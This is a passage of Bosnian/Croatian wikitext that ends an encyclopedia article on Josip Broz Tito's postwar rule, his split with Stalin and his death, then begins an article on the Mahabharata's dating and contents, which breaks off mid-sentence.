predsjednika [[Zemaljsko antifašističko vijeće narodnog oslobođenja Hrvatske|ZAVNOHa]] je imalo umirujući efekt na Hrvate koji istovremeno zahtjeva decentralizaciju ili nezavisnost i strepe od osvete zbog ustaških zločina. Završni dio Titovih pragmatičnih akcija za dobivanje političkog legitimiteta u doba ili nakon Drugog svjetskog rata postaju izbori koje bojkotiraju monarhističke stranke<ref>{{cite book |last1= Brunner|first1=Borgna | date= 1997 |title= 1998 Information Please Almanac |url=https://archive.org/details/1998informationpbru00brun |location= Ljubljana |publisher= Houghton Mifflin |page= |isbn=0395882761 |page=[https://archive.org/details/1998informationpbru00brun/page/342 342]}}</ref> i potom postavljanje [[Ivo Ribar|Ive Ribara]] koji je bio predsjednik ustavotvorne skupštine kraljevine Jugoslavije, prvo za predsjednika AVNOJa odmah nakon ulasku u komunističku partiju (njegovi sinovi su "regrutirani" u doba kraljevine Jugoslavije),a potom za predsjednika ustavotvorne skupštine komunističke Jugoslavije. Titov pokušaj dogovora s katoličkom crkvom 1945. godine propada nakon što [[Alojzije Stepinac]] odbija njegove prijedloge za rješavanje sporova. === Posleratni period === {{main|Blajburška predaja|FNRJ}} Tijekom posljednjih dana rata, kao i gotovo sljedeće 3 godine [[komunistička partija Jugoslavije]] pod vodstvom Tita represivnim akcijama radi na stvaranju novog društva kojemu je uzor Staljinov [[Sovjetski Savez]]. Iako je u legalnom smislu prva akcija u ovom smjeru donesena 1946. godine stvaranjem prvog ustava komunističke Jugoslavije koji je bio kopija tadašnjeg ustava SSSRa, prve akcije u tom smjeru se vode još u posljednjim danima rata protiv zarobljenih pripadnika pro-osovinskih vojski i njihovih simpatizera. Pravnu osnovu za te zločine donosi saveznički dogovor o ukidanju [[ženevske konvencije]] ([[Winston Churchill|Churchill]], [[Franklin Delano Roosevelt|Roosevelt]], [[Josif Staljin|Staljin]]) pošto uskoro "neće biti nemačke vlade koja bi mogla da se dogovara s crvenim križom". Dok su zapadni saveznici ovu kriminalnu definiciju iskoristili za izgladnjivanje nemačkih zatvorenika nakon završetka rata tako da su oni imali smrtnost od "samo" 2 % u 3 mjeseca koliko su postojali logori <ref>{{cite book |last=Bischof |first=Günter | last=Ambrose |first=Stephen |date= 1992 |title= Eisenhower and the German PoWs: Facts Against Falsehood |url= https://archive.org/details/eisenhowergerman00gunt/page/n285/mode/2up |location= Baton Rouge/London |publisher= Louisiana State University Press |page= |isbn= |page=}}</ref>{{efn|Američki general i zamjenik guvernera Nemačke, Lucius D. Clay, je napisao 29. 6. 1945.: "Osjećam da Nemci moraju trpiti glad i hladnoću kao što verujem da su te patnje potrebne kako bi oni shvatili posljedice rata koje su izazvali."}}, Sovjetski Savez, a koristeći se tim primjerom i Titova Jugoslavija su vršile masovna pogubljenja domaćih izdajnika. Broj ubijenih je i danas veoma kontroverzan, iako nikada nije niti približno utvrđen. Jedinu kakvu takvu procjenu o broju poginulih ili ubijenih "domaćih izdajnika" je dao jugoslavenski zavod za statistiku tijekom popisa žrtava rata [[1964]]. godine kada njihov broj za cijelo ratno razdoblje (1941-1945) određuje na 200.000 <ref>{{cite news |last= |first= |date=21. novembar 1989 |title=Igre sa brojkama |url= |work= |location= |publisher= [[Danas (Zagreb)|Danas]] |access-date=}}</ref>. Po završetku ratnih i poratnih aktivnosti Jugoslavija počinje voditi prisilnu [[kolektivizacija|kolektivizaciju]] sovjetskog stila, protjerivanje nemačkih starosjedioca, kao i sveukupnu obnovu ratom uništene privrede uz pomoć sovjetskih savjetnika. Sve te prosovjeske reforme kao i neke druge mjere koje su išle još i dalje od onih sovjetskih su stvorile međunarodnu sliku po kojoj je Titov režim najortodoksniji komunistički režim nakon onog staljinističkog u [[Sovjetski Savez|SSSRu]] <ref>{{cite news |last= |first= |date= 29. august 1947 |title= Leader of Croats Assails Tito Rule : Dr. Matchek Calls Yugoslav Regime 'Most Communistic in World After Russia' |url= https://www.nytimes.com/1947/08/29/archives/leader-of-croats-assails-tito-rule-dr-matchek-calls-yugoslav-regime.html |work= |location= |publisher= [[New York Times]] |access-date= |archive-date= 2025-02-24 |archive-url= https://web.archive.org/web/20250224045229/https://www.nytimes.com/1947/08/29/archives/leader-of-croats-assails-tito-rule-dr-matchek-calls-yugoslav-regime.html |url-status= live }}</ref> === Raskid sa Staljinom === {{main|Raskol Tita i Staljina}} [[Datoteka:Radno Predsednistvo Pete konferencije KPJ 1952 god.jpg|desno|mini|Preživeli članovi Radnog predsedništva predratne [[Peta zemaljska konferencija KPJ|Pete zemaljske konferencije KPJ]], slikani za vreme održavanja [[Šesti kongres KPJ|Šestog kongresa KPJ]] [[1952]]. godine u [[Zagreb]]u. S leva na desno - [[Đuro Pucar Stari]], [[Moša Pijade]], Josip Broz Tito, [[Spasenija Cana Babović]] i [[Edvard Kardelj]].]] Nakon završetka rata, nova država, koja je 29. novembra 1945. promijenila ime u Federativna Narodna Republika Jugoslavija, je pod Titovim vodstvom postala dio [[Istočni blok|Istočnog bloka]] i u njoj je uveden komunizam kao službena ideologija, zabranjene rad svih stranaka osim KPJ, te se, po uzoru na [[Sovjetski Savez|SSSR]], počela provoditi [[nacionalizacija]] velikih poduzeća te prisilna [[kolektivizacija]] zemlje. No, postepeno su na vidjelo počele izlaziti i sve veće nesuglasice između Tita i [[Josif Staljin|Staljina]], koje svoj korijen imaju u tome što su jugoslavenski komunisti na vlast došli vlastitom borbom, umjesto uz pomoć [[Crvena armija|Crvene armije]], te su smatrali kako imaju pravo budući razvoj svoje države određivati sami, a ne po sovjetskom diktatu. Prikrivena napetost Tita i Staljina je eskalirala [[1948]]. godine kada je došlo do javnog raskola nakon Rezolucije [[Informbiro]]a. U tom periodu je još jednom do izražaja došla Titova državnička sposobnost. Nakon što se nemilosrdnim mjerama, uključujući otvaranje zloglasnog zatvora [[Goli otok]], obračunao sa Staljinovim pristašama u KPJ, vješto je iskoristio [[hladni rat]] kako bi nagli prestanak sovjetske nadoknadio [[sjedinjene Američke Države|američkom]] pomoći. Raskid sa SSSR-om je bio i prilika da se, za razliku od dogmatskog marksizma sovjetskog tipa razvije [[socijalizam]] prilagođen jugoslavenskim prilikama. U Narodnoj skupštini FNRJ [[27. 6.|27. juna]] [[1950]]. podnio je obrazloženje Osnovnog zakona o upravljanju radnim kolektivima od strane radnika, istaknuvši staro socijalističko geslo "Tvornice radnicima". Prvi put je za Predsjednika Republike izabran [[14. 1.|14. januara]] [[1953]]. godine. Poslije smrti Staljina uslijedila je normalizacija odnosa sa SSSR pa je, za posjeta Hruščova Jugoslaviji, u junu [[1955]], potpisana [[Beogradska deklaracija]], kojom je otvoren put normalizaciji odnosa između dviju zemalja. === Politika nesvrstanosti === {{main|SFRJ|Pokret nesvrstanih}} [[Datoteka:Josip Broz Tito in cesar Haile Selassie v Kopru 1959 (2).jpg|thumb|Josip Broz Tito i car [[Haile Selassie]] u Kopru [[1959]].]] [[Datoteka:Bundesarchiv B 145 Bild-F032669-0029, Bonn, Brandt mit Staatspräsident Tito.jpg|thumb|Tito i [[Willy Brandt]] u [[Bon]]u [[1970]].]] [[1950-te|1950-ih]] su Titovu novu politiku neutralnosti u hladnom ratu usvojile mnoge novostvorene države [[Treći svijet|Trećeg svijeta]], pa je Tito u tome prepoznao mogućnost za stvaranje novog saveza koji je nazvan [[Pokret nesvrstanih]]. Ta će alijansa dugo vremena ne samo omogučiti veliki ugled u svijetu, nego i njenim poduzećima donijeti mnoge unosne poslove u zemljama Trećeg svijeta. Istovremeno se i socijalizam u Jugoslaviji, neopterećen sovjetskim dogmama, počeo razvijati u smjeru sve veće otvorenosti prema novim idejama, a životni standard stanovništva nastavio rasti, postavši vidno boljim ne samo u odnosu na Istočni blok, nego i neke zapadne kapitalističke zemlje Evrope, kao što su [[Portugal]] i [[Irska]]. No, svi ti trendovi, koji su kulminaciju stekli krajem 1960-ih, prekinuti su početkom 1970-ih nakon pojave nacionalističkog [[hrvatsko proljeće|masovnog pokreta]] u Hrvatskoj. Tito, koji je ispočetka ohrabrivao reforme i veću otvorenost, nakon toga se stavio na stranu dogmata i konzervativaca, pa je obračun s maspokom iskorišten kako bi se Partija očistila od reformskih elemenata u svim republikama i pokrajinama. Trijumf komunističkog dogmatizma prestavlja donošenje Ustava 1974. godine odnosno [[Zakon o udruženom radu|Zakona o udruženom radu]] 1976. godine - nastojanja da se jugoslavenski sistem samoupravnog socijalizma kodificira u dogmu - a koji su svoje negativne posljedice pokazali tek nakon Titove smrti. === Smrt i pogreb === {{main|Pogreb Josipa Broza Tita}} Umro je [[4. 5.|4. maja]] 1980. u 15.05 sati na Kliničkom bolničkom centru u Ljubljani. Pokopan je [[8. 5.|8. maja]] 1980. u Beogradu u Kući cvijeća. Njegova smrt odjeknula je u svjetskom tisku.<ref>{{cite news |last= Anderson |first= Raymond H. |date= 5. maja 1980 |title= Giant Among Communists Governed Like a Monarch |url= https://graphics8.nytimes.com/packages/pdf/topics/tito-obit.pdf |work= |location= |publisher= [[New York Times]] |access-date= 20. 2. 2026 |archive-date= 2023-05-29 |archive-url= https://web.archive.org/web/20230529031709/http://graphics8.nytimes.com/packages/pdf/topics/tito-obit.pdf |url-status= live }}</ref> Na njegovoj sahrani bilo je prisutno 209 delegacija iz 127 država svijeta. Titova sahrana se smatra najvećim pogrebom nekog državnika u svjetskoj historiji.<ref name="vidmar166">{{cite book |last1= Vidmar |first1= Josip |last2= Bobot |first2= Rajko i dr. | date= 1980 |title= Josip Broz Tito – Ilustrirani življenjepis |url= |location= Beograd/Ljubljana|publisher= Jugoslavenska revija/Cankarjeva založba|page= |isbn= |page= 166}}</ref> == Posthumne kontroverze == [[Datoteka:Titov spomenik.jpg|thumb|desno|150px|Titov spomenik u Kumrovcu]] Tito je za svog života u SFRJ stvorio [[kult ličnosti]] i za njegovog života je bilo nemoguće imati bilo kakvo kritičko mišljenje o bilo kome aspektu njegovog života i politike, odnosno razlučiti stvarne činjenice od službene propagande. To je nakon njegove smrti, a pogotovo nakon raspada SFRJ, dovelo do reakcije u vidu tretiranja Tita kao najvećeg zločinca u historiji, odnosno negiranja službenih podataka u korist raznih mitova i urbanih legendi, često i onih najapsurdnijih. === Titova uloga u Staljinovoj čistki === {{main|KPJ tokom Velike čistke}} Postoji teorija koju između ostalih zastupa novinar Pero Simić, da je Josip Broz cinkario svoje partijske drugove [[NKVD]]-u da su trockisti, frakcionaši i sl, kako bi preuzeo vodstvo u KPJ.<ref name="jutarnji">{{cite news |last= Radoš |first= Ivica |date= 11. 1. 2009 |title= Cinkanjem i preko leševa do šefa KPJ |url=http://www.jutarnji.hr/cinkanjem-i-preko-leseva-do-sefa-kpj/282768/ |work= |location= |publisher= [[Jutarnji list]] |access-date= 12. 8. 2014 |archivedate=2013-09-30 |archiveurl=https://web.archive.org/web/20130930185041/http://www.jutarnji.hr/cinkanjem-i-preko-leseva-do-sefa-kpj/282768 |deadurl=yes}}</ref> Prema njegovoj oceni, Titova negativna karakteristika za neke od njih je bila svojevrsna presuda.<ref name="Simić">{{cite news |last= Pašalić |first= Davor |date= 12. 8. 2014 |title= Tito je na vrh KPJ došao cinkanjem | url= http://www.nacional.hr/clanak/29402/tito-je-na-vrh-kpj-dosao-cinkanjem |work= |location= |publisher= [[Nacional]] |access-date= 20. 2. 2026 |archive-date=2013-10-08 |archive-url=https://archive.today/20131008122149/http://www.nacional.hr/clanak/29402/tito-je-na-vrh-kpj-dosao-cinkanjem |dead-url=yes}}</ref> On navodi da je u moskovskim arhivima do sada pronađeno 40 karakteristika, uglavnom negativnih, koje je Tito pisao [[NKVD]]-u o svojim partijskim drugovima.<ref name="Eiletz">{{cite news |last= Nežmah |first= Bernard |date= 16. 7. 2008 |title= Razkrita Titova moskovska skrivnost |url= http://www.mladina.si/43878/razkrita-titova-moskovska-skrivnost/ |work= |location= Ljubljana |publisher= [[Mladina]] |access-date= 20. 2. 2026 |archive-date= 2024-08-21 |archive-url= https://web.archive.org/web/20240821200220/https://www.mladina.si/43878/razkrita-titova-moskovska-skrivnost/ |dead-url= |url-status= live }}</ref> Ruski autor Bondarev ispravlja Simića, koji piše da je Broz predavao kararakteristike svojih drugova NKVD-u. Bondarev navodi da je karakteristike predavao kadrovskom odelu Kominterne, što samo po sebi ne dokazuje njegovu povezanost sa NKVD.<ref>{{ru}} {{cite book |last= Bondarev |first= Nikita |date= 2010 |title= Московские годы Иосипа Броза Тито: предыстория партизана |url= http://www.riss.ru/analitika/152-moskovskie-gody-iosipa-broza-tito-predystoriya-partizana#.U8nP35SSw34 |location= |publisher=Institut za noviju istoriju Srbije |page= |isbn= |access-date=}}{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> == Povezano == * [[KPJ tokom Velike čistke]] * [[narodnooslobodilačka borba Jugoslavije]] * [[pogreb Josipa Broza Tita]] * [[lista mjesta imenovanih po Josipu Brozu Titu]] == Napomene == {{notelist}} == Reference == {{reference|2}} == Literatura == * Calic, Marie-Janine: Tito. Vječni partizan. Zagreb 2022. * Goldstein, Ivo/Goldstein, Slavko: Tito. Zagreb 2015. * Manojlović Pintar, Olga (ur.) Tito - viđenja i tumačenja. Zbornik radova. Beograd 2011. * Pirjevec, Jože: Tito i drugovi. Zagreb 2012. {{commonscat|Josip Broz Tito}} == Vanjske veze == * [http://www.rex.b92.net/vlastitoiskustvo/izlozba_fotografije.html Fotografije iz izložbe "VlasTITO iskustvo"], 17. septembra 2004. {{Webarchive|url=https://web.archive.org/web/20080703154705/http://www.rex.b92.net/vlastitoiskustvo/izlozba_fotografije.html |date=2008-07-03 }} * [http://www.vuksfrj.se/istorija/tito/J_B_Tito.html Titovi memoari - Vukova stranica] (www.vuksfrj.se) {{Webarchive|url=https://web.archive.org/web/20120108052906/http://www.vuksfrj.se/istorija/tito/J_B_Tito.html |date=2012-01-08 }} * [http://www.glas-koncila.hr/feljtoni/index.php?title=IZ_BEOGRADSKIH_ARHIVA:_Odnos_Josipa_Broza_Tita_prema_zagreba%C4%8Dkom_nadbiskupu_Alojziju_Stepincu Iz beogradskih arhiva: Odnos Josipa Broza Tita prema zagrebačkom nadbiskupu Alojziju Stepincu], [[Glas Koncila]]. {{Webarchive|url=https://web.archive.org/web/20120128182331/http://www.glas-koncila.hr/feljtoni/index.php?title=IZ_BEOGRADSKIH_ARHIVA:_Odnos_Josipa_Broza_Tita_prema_zagreba%C4%8Dkom_nadbiskupu_Alojziju_Stepincu |date=2012-01-28 }} {{Portal NOB}} {{Drugi svjetski rat u Jugoslaviji}} {{Spisak narodnih heroja}} {{Predsjednici SKJ}} {{Predsjednici SFRJ}} {{Životni vijek|1892|1980|Broz, Josip Tito}} {{Normativna kontrola}} [[Kategorija:Josip Broz Tito| ]] [[Kategorija:Jugoslavenski komunisti]] [[Kategorija:Jugoslavenski partizani]] [[Kategorija:Narodni heroji Jugoslavije]] [[Kategorija:Političari u međuratnom periodu]] [[Kategorija:Političari u Drugom svjetskom ratu]] [[Kategorija:Jugoslavenski ateisti]] [[Kategorija:Hrvatski ateisti]] [[Kategorija:Preživjeli pokušaje atentata]] [[Kategorija:KPJ tokom Velike čistke]] [[Kategorija:Jugosloveni u Oktobarskoj revoluciji]] [[Kategorija:Bitka na Neretvi]] [[Kategorija:Porodica Broz|Josip]] [[Kategorija:Jugoslovenska politička emigracija u SSSR]] [[Kategorija:Predsjednici Saveznog izvršnog vijeća]] d429sycuhmf9i74zs9xplszqt0p8v8z 0 4708 42602712 42466666 2026-05-28T10:53:37Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602712 wikitext text/x-wiki [[File:Sauti recites the slokas of the Mahabharata.jpg|thumb|Sauti recituju stihove Mahabharate]] {{Hinduizam mali}} '''Mahabharata''' ([[Devanagari]] महाभारत, fonetski ''Mahābhārata''), nekad zvana jednostavno '''Bharata''', je naziv za jedan od dva drevna [[sanskrit|sanskrtska]] epa [[Indija|Indije]] - drugi ep je [[Ramayana]] . Predstavlja drugu po veličini epsku pjesmu na svijetu (prvi je tibetanski [[Ep o kralju Gesaru]]). Osim što predstavlja jedno od najvećih književnih dostignuća čovječanstva, Mahabharata također ima veliku [[religija|vjersku]] i [[filozofija|filozofsku]] važnost u Indiji,; to je pogotovo slučaj s [[Bhagavad Gita|Bhagavad Gitom]], čije jedno od poglavlja (''Bhishmaparva''), predstavlja središnji sveti tekst [[hinduizam|hinduizma]].<ref name=encindlit>{{Cite journal | url = http://books.google.ca/books?id=zB4n3MVozbUC&pg=PA1755&dq=itihasa | title = The Encyclopaedia of Indian Literature (Volume Two) (Devraj to Jyoti) | isbn = 978-81-260-1194-0 | author1 = Datta | first1 = Amaresh | date = 2006-01-01}}</ref> Naziv se može prevesti kao "Velika Indija" ili, preciznije, "Veliki Spjev dinastije Bharata" (bhārata znači potomstvo Bharate, kralja za koga se vjeruje da je osnovao indijsko kraljevstvo Bhāratavarsha; "Bharat" danas uživa status jednog od službenih imena za Indiju u svim indijskim vladama te se često koristi u svakodnevnom govoru). Djelo je dio hinduskih [[itihaasas]], doslovno "onog što se desilo", zajedno s [[Purana]]ma i Ramayanom. Potpuna verzija sadrži više od 100.000 stihova, čineći je četiri puta dužom od [[Biblija|Biblije]] i sedam puta dužom od [[Ilijada|Ilijade]] i [[Odiseja|Odiseje]] zajedno.<ref name="Lochtefeld2002">{{cite book|author=James G. Lochtefeld|title=The Illustrated Encyclopedia of Hinduism: A-M|url=http://books.google.com/books?id=5kl0DYIjUPgC&pg=PA399|year=2002|publisher=The Rosen Publishing Group|isbn=978-0-8239-3179-8|page=399}}</ref><ref name="SharmaGaur2000">{{cite book|author1=T. R. S. Sharma|author2=June Gaur|author3=Sahitya Akademi (New Delhi, Inde).|title=Ancient Indian Literature: An Anthology|url=http://books.google.com/books?id=IRp1PKX0BXoC&pg=PA137|year=2000|publisher=Sahitya Akademi|isbn=978-81-260-0794-3 |page=137}}</ref><ref>Spodek, Howard. Richard Mason. The World's History. Pearson Education: 2006, New Jersey. 224, 0-13-177318-6</ref><ref>Amartya Sen, ''The Argumentative Indian. Writings on Indian Culture, History and Identity'', London: Penguin Books, 2005.</ref><ref>{{cite book | author=W.J.Johnson | title=The Sauptikaparvan of the Mahabharata: The Massacre at Night | page=ix | url=http://books.google.co.in/books?id=d8sYSPhSBEAC&lpg=PP1&pg=PR9#v=onepage | publisher=[[Oxford University Press]] | year=1998 | isbn=978-0-19-282361-8}}</ref> == Vrijeme nastanka djela == Obično se u indološkoj literaturi prihvata sud E. W. Hopkinsa. On je smatrao da početke staroindijskoga epskog pjesništva možemo, doduše, stavljati i 700 ili 1.700 godina pne., ali o tome ne možemo nešto pouzdano znati, a da počeci predaje o Bharatama, kako je to još bio smatrao Albrecht Weber, sežu do razdoblja [[vede|vedskih]] obrednih djela [[brahmani|brahmana]]. No za naš se ep ne može tvrditi da su predaje o Bharatama ili Kurnima u njemu skupljene prije 400. g. pne. Predaje o Pandavama i polubožanskome [[Krišna|Krišni]] mogle bi poticati iz razdoblja od 400. do 200. g. pne. Prerada s Krišnom kao sveobuhvatnim božanstvom i mnoštvom poučne puranske građe mogla je uslijediti između 200. g. pr. n. e. i 100-200. g. nove ere. Posljednje su knjige i početak prve mogli biti dodani između 200. i 400. g. U istom se radoblju mogla napuniti poučnom građom 13. knjiga i izdvojiti se iz 12. knjige. Poslije toga razdoblja mogli su se prihvaćati tek pojedinačni dodaci. Mogli bismo reći da su to otprilike oni koje je otklonilo iz teksta sadašnje kritičko izdanje. U 5. vijeku se, naime, na nekome natpisu već spominje Mahabharata kao djelo od sto hiljada šloka, dakle u potpunom opsegu. A kako se u epu češće spominju Yavane, izvorno Jonjani, s kojima su se Indijci prvi put sreli u doba [[Aleksandar Veliki|Aleksandra Velikoga]], tekst kakav imamo ne može biti stariji od 4. vijeka pne., a završetak u 3. vijeku ne. U svojoj knjizi o [[Ramayana|Ramayani]], J. L. Brockngton Righteon Rama, The Evolution of an Epic, OUP, Delhi 1984. složio je sličan pregled razvoja drugoga velikog staroindijskog epa, stavivši mu početak u 5. vijek pne. Ramayana je sigurno dovršena prije Mahabharate ali je vjerojatno mlađa u začecima. Stoga se čini bliskom istini sud J. A. B. Buitenena da se začeci Mahabharate mogu najvjerovatnije zamisliti negdje u 8. ili 9. vijeku pne. No i on se slaže daje "knjižnica djela" koju znamo kao Mahabharatu mogla biti osnovana tek oko 400. g. pne., a prestati nabavljati prinose oko 400. g. n. e. nav. dj., Uvod, str. XXIV-XXV. O starosti predmeta Mahabharate svakako još treba dodati da su arheolozi poput B. B. Lala i drugih otkopali naselja koja su identificirali kao Hastinapuru, staru prijestolnicu Kurua, Ahiććatru i Kampilyu, gradove Panćala, i druge lokalitete poznate iz velikoga epa. Oni pokazuju kulturu ranoga željeznog doba, odlikuju se posebnim sivim slikanim lončarstvom, a ispitivanje starosti nalaza pomoću ugljika C14 pokazuje da potiču otprilike iz razdoblja oko 1000 g. pne.<ref>C f. Mahabharata, Myth and Reality, Diffcring Vicivs, ed. by S. P. Gupta & K S. Ramachandran, Delhi 1976, str. 23-51 i 52-80 (B. B. Lal, V. N. Misra, A. H. Dani, R C. Gaur, D. P. Agganval, Sheila Kusumgar)</ref>. To mora biti i razdoblje kada su se počele pjevati pjesme o vladarima Kurua i Panćala i otada se nikada nisu prestale pjevati jer bi svaki privremeni prekid u usmenom prenošenju pjesama kroz dugo razdoblje njihova stvaranja, sabiranja i razvoja velike pjesme o boju Bharata iz njih nužno izazvao i potpun gubitak cijele te predaje, bar prije trenutka njena zapisivanja. No ta je predaja na svoj način još i danas živa, kao što još i danas stoji grad Mathura i još je uvijek središte živa Krišnina kulta i kao što ime Indraprastha i danas označuje dio Delhija oko Stare tvrđave. == Sadržaj djela == {{Hindu spisi}} Jezgru Mahabharate čini priča o sukobu oko nasljedstva između dviju grana plemena Kuru. === 1. knjiga: Knjiga o početku === Sinovi starijeg brata Dhrtaraštre žele naslijediti kraljevstvo po ocu koji vlada u gradu Hastinapuri na Gangi. Suparnici su im sinovi mlađeg brata Pandua koji je prvi vladao Hastinapurom jer je Dhrtaraštra bio slijep, ali je prvi i umro. Panduove sinove pošalju u daleki dvor gdje su im bratići željeli podmetnuti požar, ali oni izbjegnu klopci. Neko se vrijeme skrivaju, a onda stiču na dvoru kralja susjednog plemena Panćala, Drupade, u gradu Kampilyi uz Gangu, kraljevu kćer na natjecanju za ženu. Njome se — uz neobična objašnjenja ženi sve petero braće. Pošto su oni tako stekli Drupadu za saveznika, Dhrtaraštra odlučuje podijeliti kraljevstvo Kurua između svojih stotinu sinova na čelu s najstarijim, Duryodhanom, koji će ostati u Hastinapuri, i petorice Panduovih sinova na čelu s najstarijim, Yudhišthirom, koji će dobiti područje oko Yamune, nasuprot Hastinapuri na Gangi. Tu Panduovi sinovi izgrade prijestolnicu Indraprasthu. Pomaže im [[Krišna]], bratić Pandava, sinova Panduovih, i Kaurava, sinova Dhrtaraštrinih. On je iz trećeg plemena Yadava ili Vršnija koje je kralj Magadhe Đarasamdha istjerao iz Mathure na Yamuni, nasuprot Kampilyi na Gangi, te su se preselili u Dvaraku na Kathiawaru. U četverouglu spomenutih prijestolnica postoje naslutljivi "geopolitički interesi". Jedan od Pandava, Arđuna, dobiva i Krišninu sestru Subhadru za ženu. === 2. knjiga: Knjiga o sabornici === Pošto Yudhišthira primi svečano kraljevsko posvećenje u Indraprasthi, prije kojega su se Pandave morali iskazati ratničkim uspjesima na sve četiri [[strane sveta|strane svijeta]] i na poticaj Krišnin svladati Đarasamdhu u dvoboju, pozivaju ih bratići Kaurave u Hastinapuru. Tu im priređuju kockarsko natjecanje pri kojemu Yudhišthira zbog prijevare prokocka kraljevstvo i mora po dogovoru otići s braćom i ženom Draupadi, Draupadinom kćeri, u progonstvo u šumu na dvanaest godina, a trinaestu moraju provesti među ljudima, ali neprepoznati ako ne žele ponoviti progonstvo. === 3. knjiga: Knjiga o šumi === Braća doživljuju neobične pustolovine u šumi, osobito veliki strijelac Arđuna, snažni Bhima i mudri Yudhišthira. === 4. knjiga: Knjiga o Virati === Trinaestu godinu Pandave provode s Draupadi prerušeni služeći kralja Matsya Viratu u njegovoj prijestolnici Upaplavyi. Na isteku godine zaduže kralja junaštvom kojim su mu spasili stada od susjednih Kurua i Trigarta. Time stječu novog saveznika, Viratina se kći udaje za Arđunina sina od Subhadre Abhimunyua. === 5. knjiga: Knjiga o pripravama === [[Datoteka:Mahabharata BharatVarsh.jpg|thumb|250px|Drevna karta Indije]] Pandave u dogovoru sa saveznicima po isteku trinaeste godine zatraže od Kaurava svoju polovinu kraljevstva — ili bar pet sela. Kao posrednik zastupa ih u Hastinapuri Krišna. Duryodhana, sada Dhrtaraštrin prijestolonasljednik, odbija, međutim, da im išta ustupi. Obje strane skupljaju saveznike i kreću na bojno polje Kuruhšetru. === 6. - 13. knjiga === 6-10. knjiga opisuje tok velike bitke i slave junaka koji su se borili i ginuli. Prve se četiri zovu po zapovjednicima vojske Kaurava: Knjiga o Bhlšmi (6), Knjiga o Droni (7), Knjiga o Karni (8) i Knjiga o Šalyi (9); svi su oni junački pali u borbi, a Pandave su ih, po Krišninim savjetima, mada i sami veliki junaci, redom svladavali lukavstvom uz osjetne moralne dileme, a na kraju je tako i Duryodhanu svladao Bhima. Peta se zove po jezivome pokolju koji je izveo posljednji zapovjednik Kaurova Asvatthaman s jedinom dvojicom svojih preostalih vitezova: Knjiga o noćnome prepadu (10). Nakon strašnih knjiga o bici slijedi 11. knjiga: Knjiga o ženama, gdje se opisuje naricanje žena i pogrebni obredi za pale junake. Dhrtaraštrina žena Ganhari tuguje nad palima u objema vojskama i proklinje Krišnino pleme, a Panduova udovica Kunti otkriva svojoj djeci da im je silni protivnik Karna bio rođeni brat iz njena predbračnog života. Jedini je od palih vojskovođa bio još na životu stari Bhišma i ležao je sve vrijeme na bojnome polju sav izboden Arđuninim strijelama jer je snagama svoga značaja, životnih odricanja i duhovne stege stekao vlast nad časom smrti i čekao vrijeme kada će [[Sunce]] krenuti put [[sever|sjevera]] jer je ono povoljno za oslobođenje od svijeta. U 12. knjizi, Knjizi o smirenju, i 13. knjizi Knjizi o poukama, dolazi do njega s velikim poštovanjem pobjednik Yudhišthira, očajan zbog krvave pobjede i pokolja rođaka, učitelja i prijatelja, te prima od mudroga samrtnika duge pouke o oslobođenju duše, ali i o vladanju i dužnostima kralja u svijetu. Napokon, Bhišma umire i vrše se pogrebni obredi za njega. === 14. - 20. knjiga === [[Datoteka:Kurukshetra.jpg|right|thumb|200px|Bitka Kurukshetra]] 14. knjiga: Knjiga o konjskoj žrtvi: Yudhišthira se smiruje, posvećuju ga za kralja Hastinapure, a potom po Krišninom savjetu prinosi veliku konjsku žrtvu koja kralja treba očistiti od grijeha i potvrditi njegovu neospornu vlast. 15. knjiga: Knjiga o pustinjačkom stanu: Kralj Dhrtaraštra, kojega su dotad Pandave petnaest godina pazili kao da im je otac jer je izgubio sve svoje sinove, odlučuje napustiti svjetovni život i sa svojim najbližima otići kao pustinjak u šumu da se pripremi za smrt. 16. knjiga: Knjiga o kijačama: Pandave saznaju da se Krišnino pleme zatrlo na nekoj pijanci u tučnjavi kijačama uslijed Gandharine kletve, a braća su se Krišna i Balarama vratili na nebo. 17. knjiga: Knjiga o velikome putu: I Pandave s Draupadi napuštaju kraljevstvo ostavljajući Abhimanyuova sina, a Arđunina unuka Parikšita za nasljednika. Kreću na veliko hodočašće na Himalayu na kojemu svi do Yudhišthire padaju od iznemoglosti, sve dok po posljednjega, Yudhišthiru, ne dođe sam Indra, kralj bogova, s Dharmom, bogom pravde, da ga vode u nebo. 18. knjiga: Knjiga o usponu na nebo: Yudhišthira ne nalazi braću i ženu u nebu nego u [[pakao|paklu]] gdje ispaštaju za svoje grijehe i lukavstva u ratu, ali kada odlučuje da i on ostaje radije tu uz njih nego da sam pođe na nebo, dovršava se vrijeme ispaštanja i svi stižu u nebo i preobražavaju se u božanstva. Time se posljednja knjiga nadovezuje na početne priče u prvoj knjizi gdje se i rođenje Pandava objašnjava božanskim porijeklom Yudhišthire od boga Dharme, Bhime od boga vjetra Vayna, Arđune od gromovnika Indre, a njegove braće Nakule i Sahadeve od bogova blizanaca Ašvina, dok Karna vuče podrijetlo od boga Sunca Surye, a u Bhišmi se utjelovio bog neba Dyaus. == Razvoj == Svakako neće ni sva ta okosnica priče poticati iz iste starine, no ovdje radi kratkoće treba upozoriti makar samo na glavne smjerove u kojima se ep u toku predaje širio. # U junačku su se pjesmu uklapale druge pjesme iz repertoara pjevača kao npr. verzija priče o Rami ili priča o kralju Nali, kojih sudbine pričaju posjetioci Pandavama za dugog boravka u šumi jer podsjećaju na sudbinu Pandava, ali su dobile sretan tok i time donose utjehu. Kada su brahmani preuzeli predaju epa u svoje ruke, proširili su ga mnogobrojnim brahmanskim mitovima i legendama — poput priče o vjernoj ženi Savitri, indijskoj Alkestidi, ili o tome kako su bogovi stvorili Smrt itd. U predaju su se očito uključili i isposnici i pustinjaci koji su u epu ostavili traga mnogobrojnim poučnim izrekama, parabolama, basnama ili poučnim pričama — poput priče o brahmanu Dađaliju i sitnome trgovcu Tuladhari koji veliča nenasilje<ref>R. Katičić, Stara indijska književnost, MH, Zagreb, [[1973]]., str. 111-126</ref>. # Ta uklapanja i proširenja sadržaja osobito su onda izmijenila narav epa kada su, na primjer, polazeći od pitanja nasljedstva u epu, koje je jedno od vrlo znatnih pitanja obredno-pravne nauke dharmašastre, razvila oko originalnih paradoksa — na kojima se gradi višeslojno ustrojstvo priče — čitave pravne rasprave koje su Mahabharatu iz implicitne stale pretvarati u eksplicitnu dharmašastru. Bhišma je sin kuruskoga kralja Šantanua. Da bi mu otac mogao dobiti lijepu Satyavati za ženu, on se odriče nasljedstva u korist djece buduće očeve 